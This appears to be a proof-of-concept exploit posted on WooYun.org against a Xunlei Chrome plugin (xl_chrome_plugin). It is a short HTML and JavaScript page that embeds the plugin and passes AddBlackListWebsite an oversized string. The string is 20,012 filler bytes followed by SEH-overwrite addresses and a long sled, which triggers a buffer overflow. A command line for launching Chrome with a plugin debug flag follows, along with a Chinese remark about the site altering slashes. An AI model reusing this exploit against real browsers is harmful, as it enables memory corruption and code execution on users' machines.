WooYun.org

<embed type="application/xl_chrome_plugin" id="xl_chrome_plugin">
<script>
   var plugin = document.getElementById("xl_chrome_plugin");
  
  function exploit() {
  
	var i = 0;
	var exploit_string = '';
	var nop = '\x72\x00\x72\x00';  // jz next_code;
	var safeseh_addr = '\x0b\x0b\x27\x00'; // call [ebp+30h]
	var jz_seh_addr = '\x74\x22\x74\x22'; // skip seh
	while (i < 20012) {
		i += 1;
		exploit_string += 'a';
	}
	exploit_string += jz_seh_addr;
	exploit_string += safeseh_addr;
	
	i = 0;
	while (i < 20000) {
		i += 1;
		exploit_string += '\x72\x00\x72\x00'; // nop
	}
	
	plugin.AddBlackListWebsite(exploit_string);
  }
</script>
// 大wooyun把一个正斜杠 替换成两个正斜杠了

chrome.exe --plugin-startup-dialog